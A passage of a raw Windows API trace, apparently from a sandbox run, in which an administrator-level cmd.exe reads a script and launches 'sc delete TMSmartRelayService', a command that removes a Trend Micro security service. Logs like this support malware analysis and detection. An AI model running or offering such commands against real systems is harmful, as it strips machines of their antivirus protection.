lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.540] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.540] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.540] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.540] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="TmPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="MPreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="SreFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="meFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="aFilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.541] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33e, cchWideChar=1 | out: lpWideCharStr="rilter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.541] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.541] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.541] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e340, cchWideChar=1 | out: lpWideCharStr="tlter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e342, cchWideChar=1 | out: lpWideCharStr="Rter\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e344, cchWideChar=1 | out: lpWideCharStr="eer\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e346, cchWideChar=1 | out: lpWideCharStr="lr\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e348, cchWideChar=1 | out: lpWideCharStr="a\ne\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34a, cchWideChar=1 | out: lpWideCharStr="ye\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.542] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.542] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34c, cchWideChar=1 | out: lpWideCharStr="S\n4-9.4\"\n\nA\"\n") returned 1 [0073.542] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.542] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e34e, cchWideChar=1 | out: lpWideCharStr="e4-9.4\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e350, cchWideChar=1 | out: lpWideCharStr="r-9.4\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e352, cchWideChar=1 | out: lpWideCharStr="v9.4\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e354, cchWideChar=1 | out: lpWideCharStr="i.4\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e356, cchWideChar=1 | out: lpWideCharStr="c4\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.543] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e358, cchWideChar=1 | out: lpWideCharStr="e\"\n\nA\"\n") returned 1 [0073.543] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.543] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.543] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0073.544] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e35a, cchWideChar=1 | out: lpWideCharStr="\n\n\nA\"\n") returned 1 [0073.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.544] GetFileType (hFile=0xb8) returned 0x3 [0073.544] _get_osfhandle (_FileHandle=0) returned 0xb8 [0073.544] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0073.544] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.544] GetFileType (hFile=0x120) returned 0x3 [0073.544] _get_osfhandle (_FileHandle=1) returned 0x120 [0073.544] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete TMSmartRelayService\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete TMSmartRelayService\n", lpUsedDefaultChar=0x0) returned 31 [0073.544] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x1e, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0x1e, lpOverlapped=0x0) returned 1 [0073.544] GetProcessHeap () returned 0x4a0000 [0073.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4e8630 [0073.544] GetProcessHeap () returned 0x4a0000 [0073.544] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4e8630 | out: hHeap=0x4a0000) returned 1 [0073.544] GetProcessHeap () returned 0x4a0000 [0073.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0073.544] GetProcessHeap () returned 0x4a0000 [0073.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0073.544] GetProcessHeap () returned 0x4a0000 [0073.544] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x48) returned 0x4baa40 [0073.544] GetConsoleOutputCP () returned 0x1b5 [0073.545] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0073.545] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0073.545] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.545] GetProcessHeap () returned 0x4a0000 [0073.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0073.545] GetProcessHeap () returned 0x4a0000 [0073.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4e) returned 0x4b9b30 [0073.545] GetProcessHeap () returned 0x4a0000 [0073.545] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bba10 [0073.545] SetErrorMode (uMode=0x0) returned 0x1 [0073.545] SetErrorMode (uMode=0x1) returned 0x0 [0073.545] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bba20, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0073.545] SetErrorMode (uMode=0x1) returned 0x1 [0073.545] GetProcessHeap () returned 0x4a0000 [0073.546] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bba10, Size=0x62) returned 0x4bba10 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bba10) returned 0x62 [0073.546] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0073.546] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0073.546] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b97e0 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b97e0, Size=0x7e) returned 0x4b97e0 [0073.546] GetProcessHeap () returned 0x4a0000 [0073.546] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b97e0) returned 0x7e [0073.546] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.546] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.547] GetLastError () returned 0x2 [0073.547] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.547] GetLastError () returned 0x2 [0073.547] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0073.547] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0073.547] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0073.547] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0073.547] GetLastError () returned 0x2 [0073.547] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9870 [0073.547] FindClose (in: hFindFile=0x4b9870 | out: hFindFile=0x4b9870) returned 1 [0073.548] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.548] GetProcessHeap () returned 0x4a0000 [0073.548] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0073.548] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0073.548] GetProcessHeap () returned 0x4a0000 [0073.548] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0xb4) returned 0x4b9180 [0073.548] GetProcessHeap () returned 0x4a0000 [0073.548] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0xb4 [0073.548] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete TMSmartRelayService") returned 1 [0073.549] GetProcessHeap () returned 0x4a0000 [0073.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0073.549] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0073.549] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0073.549] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: lpStartupInfo=0x2cedf0*(cb=0x68, lpReserved="", lpDesktop="WinSta0\\Default", lpTitle="C:\\Windows\\system32\\cmd.exe", dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xb8, hStdOutput=0x120, hStdError=0x120)) [0073.549] GetProcessHeap () returned 0x4a0000 [0073.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x20) returned 0x4b4610 [0073.549] GetProcessHeap () returned 0x4a0000 [0073.549] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b4610 | out: hHeap=0x4a0000) returned 1 [0073.549] GetProcessHeap () returned 0x4a0000 [0073.549] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x12) returned 0x4b89d0 [0073.549] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\sc.exe", lpCommandLine="sc delete TMSmartRelayService", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x80000, lpEnvironment=0x0, lpCurrentDirectory="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpStartupInfo=0x2ced10*(cb=0x70, lpReserved=0x0, lpDesktop="WinSta0\\Default", lpTitle="sc delete TMSmartRelayService", dwX=0x0, dwY=0x1, dwXSize=0x64, dwYSize=0x64, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x1, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2cecc0 | out: lpCommandLine="sc delete TMSmartRelayService", lpProcessInformation=0x2cecc0*(hProcess=0x54, hThread=0x50, dwProcessId=0x644, dwThreadId=0x834)) returned 1 [0073.553] CloseHandle (hObject=0x50) returned 1 [0073.553] SetEnvironmentVariableW (lpName="COPYCMD", lpValue=0x0) returned 1 [0073.553] GetProcessHeap () returned 0x4a0000 [0073.553] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c1b10 | out: hHeap=0x4a0000) returned 1 [0073.553] GetEnvironmentStringsW () returned 0x4c1b10* [0073.553] GetProcessHeap () returned 0x4a0000 [0073.553] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0073.553] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0073.553] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0073.553] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffd9000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0073.554] WaitForSingleObject (hHandle=0x54, 